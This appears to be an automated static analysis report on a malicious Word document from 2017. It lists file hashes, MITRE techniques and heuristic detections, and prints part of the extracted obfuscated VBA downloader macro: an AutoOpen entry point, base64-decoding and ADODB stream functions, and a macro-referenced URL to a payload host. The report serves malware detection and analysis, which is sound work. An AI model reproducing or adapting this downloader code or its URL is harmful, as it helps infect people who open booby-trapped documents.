Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d8cfe351daa5276a…

MALICIOUS

Office (OLE)

163.0 KB Created: 2017-05-05 14:59:00 Authoring application: Microsoft Office Word First seen: 2017-05-13
MD5: ab8beb227554c85bc76b3ee7d67bb932 SHA-1: 741a1d241cb89fe8f9032cfada10d61298630ee9 SHA-256: d8cfe351daa5276a277664630f18fe1e61351cbf3b0a17b6a8ef725263c0cab4
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1071.001 Web Protocols

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes a Base64-decoded Shell command stager and a CreateObject call, indicating an attempt to download and execute a second-stage payload from the provided URLs. The presence of the Shell() call and the Base64-decoded stager strongly suggests malicious intent.

Heuristics 9

  • ClamAV: Doc.Downloader.WithMacro-6310867-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.WithMacro-6310867-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bullridemania.com/vs9r-z679-yg/,http://me Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17586 bytes
SHA-256: de585940ba1d68625f64b7b26d8abeae3068410cdee666cd0aae3379c042083b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()

Dim k3wWtM9 As Boolean
k3wWtM9 = True
Dim abXvu As Long
abXvu = 0
TEA7rJlC
End Sub

Attribute VB_Name = "Module2"
Public Function RlMA3KQ1(ByVal MnhLO9)
Dim Ujamsd As Long
Ujamsd = Sgn(0)
Dim zmzCL0AMj As Long
zmzCL0AMj = Sgn(0)
Dim QpSseig As Integer
QpSseig = Sgn(29496)
Dim aBnOgcl As Long
aBnOgcl = 0
Dim ZMYXUN
Dim Xw80k
Dim Te0oGKr
Te0oGKr = Len(FbkAfs)
Dim qvq2x As Integer
qvq2x = -23889
Dim cPodnh As String
cPodnh = Val(dhSs4P7D)
Dim PFHmUEqJ2 As Long
PFHmUEqJ2 = Sgn(-1494947912)
Dim BAmM1N3O As Boolean
BAmM1N3O = True

Dim QGis0 As Boolean
QGis0 = True
Dim UusRB As Single
UusRB = 7456.2021484581
Dim u1E9LwUm As Single
u1E9LwUm = Sgn(41861.469050106)
Set ZMYXUN = CreateObject(fbBIO)

Dim ASKt1ox As Double
ASKt1ox = 35244.630016907
Dim saqFD As Boolean
saqFD = False
Dim QZCmu8 As Integer
QZCmu8 = Sgn(-16781)
Dim bC4OnrsFB As Long
bC4OnrsFB = -991962870
Dim dCIG3O
dCIG3O = RTrim(WdcYtjOo4)
Dim MVnOW
MVnOW = mk8mdaqf
Set Xw80k = ZMYXUN.CreateElement(WDyZtCa)
Dim jd7vmG As Double
jd7vmG = Sgn(57667.090332625)
Dim znhO0HLw5 As Integer
znhO0HLw5 = Sgn(1768)
With Xw80k

Dim ZSHFP As Integer
ZSHFP = 26268
Dim TdbivAm As Byte
TdbivAm = 15
Dim WUtZkJzcy As Integer
WUtZkJzcy = Sgn(-22096)
Xw80k.DataType = "bin." & WDyZtCa

Dim qr0tMEk As Integer
qr0tMEk = -30722
Dim JmabAqN As Integer
JmabAqN = Sgn(-1344)
Xw80k.Text = MnhLO9
End With

Dim qKOas As Double
qKOas = 7062.0233075269
Dim rytv5xAY As Boolean
rytv5xAY = True
Dim TLGQDSsV As Boolean
TLGQDSsV = False
Dim weFzgi
weFzgi = StrConv(bC195X, vbUpperCase)
Dim uoiHa As Double
uoiHa = Val(25299.363471086)
Dim YsN9wS2 As Single
YsN9wS2 = 40445.13347618
RlMA3KQ1 = OtH0das(Xw80k.nodeTypedValue)
Dim UcqCJ7Fuh As Integer
UcqCJ7Fuh = Sgn(-1442)
Dim yPBDfAn As Boolean
yPBDfAn = True
Set Xw80k = Nothing
Set ZMYXUN = Nothing
End Function
Function OtH0das(Binary)
Dim tZkLMQ
tZkLMQ = StrConv(aIBpOfxS1, vbUpperCase)
Dim URlIo8SYA As Long
URlIo8SYA = Sgn(0)
Dim wbsG06ovX As Byte
wbsG06ovX = 217
Dim zfNESzr As Byte
zfNESzr = 101
Dim dtH1Us As Double
dtH1Us = 61638.695609551
Const fdgucWOK = 2
Const MKS6AN = 1
Dim DTmXgOJ As String
DTmXgOJ = StrConv(Obwe4GrYs, vbProperCase)
Dim vAeUN8fu As Single
vAeUN8fu = Int(11480.568126872)
Dim HxuAWrv As Integer
HxuAWrv = 15382
Dim FVD2FQzE As Single
FVD2FQzE = Sgn(29942.817462324)
Dim GfL3vT As Long
GfL3vT = 0
Dim k9GFQJ

Dim mYqhdPa As Byte
mYqhdPa = 61
Dim gzU8EBfA As Double
gzU8EBfA = Round(23169.250378138)
Dim q8kH5W7ea As Single
q8kH5W7ea = Sgn(47796.764875543)
Dim b82eMNo As Boolean
b82eMNo = False
Set k9GFQJ = CreateObject("adodb.stream")
Dim fthGoyf As Integer
fthGoyf = Sgn(-17926)
Dim VODeJl As Long
VODeJl = 0
With k9GFQJ
Dim NPU9bYT As Double
NPU9bYT = Sgn(25596.919058418)
Dim fcGQISL As String
fcGQISL = AscW("2")
Dim Ri5CGJI0Y As Byte
Ri5CGJI0Y = 67
Dim cCwul As String
cCwul = Len(LPEXcVAwI)
Dim NRO0V As Byte
NRO0V = 124
.Type = MKS6AN

Dim Cxm6ypBR As Boolean
Cxm6ypBR = False
Dim DYtMqb0h1 As Integer
DYtMqb0h1 = Sgn(12142)
.Open

Dim hvetbzr As Single
hvetbzr = 21064.277740879
Dim nYMJ2AKw As Boolean
nYMJ2AKw = True
Dim Lh0Dd4yBP As Double
Lh0Dd4yBP = Sgn(11705.495456447)
.Write Binary

Dim LXUlyu8 As Boolean
LXUlyu8 = False
Dim VqDKC5fNi As Single
VqDKC5fNi = Round(18824.892996902)
.Position = 0

Dim GSBZmc As Byte
GSBZmc = 59
Dim htxoCp9 As String
htxoCp9 = StrConv(Mj1REatGL, vbProperCase)
.Type = fdgucWOK

Dim FLf5HQm As Double
FLf5HQm = 19012.439426127
Dim al27hd As Single
al27hd = 6710.1626391539
Dim n0gmT As Long
n0gmT = -1391353488
Dim IE4n1 As Integer
IE4n1 = Sgn(3478)
Dim t0Fl6sE3 As Boolean
t0Fl6sE3 = False
Dim gEWP61vT As Long
... (truncated)

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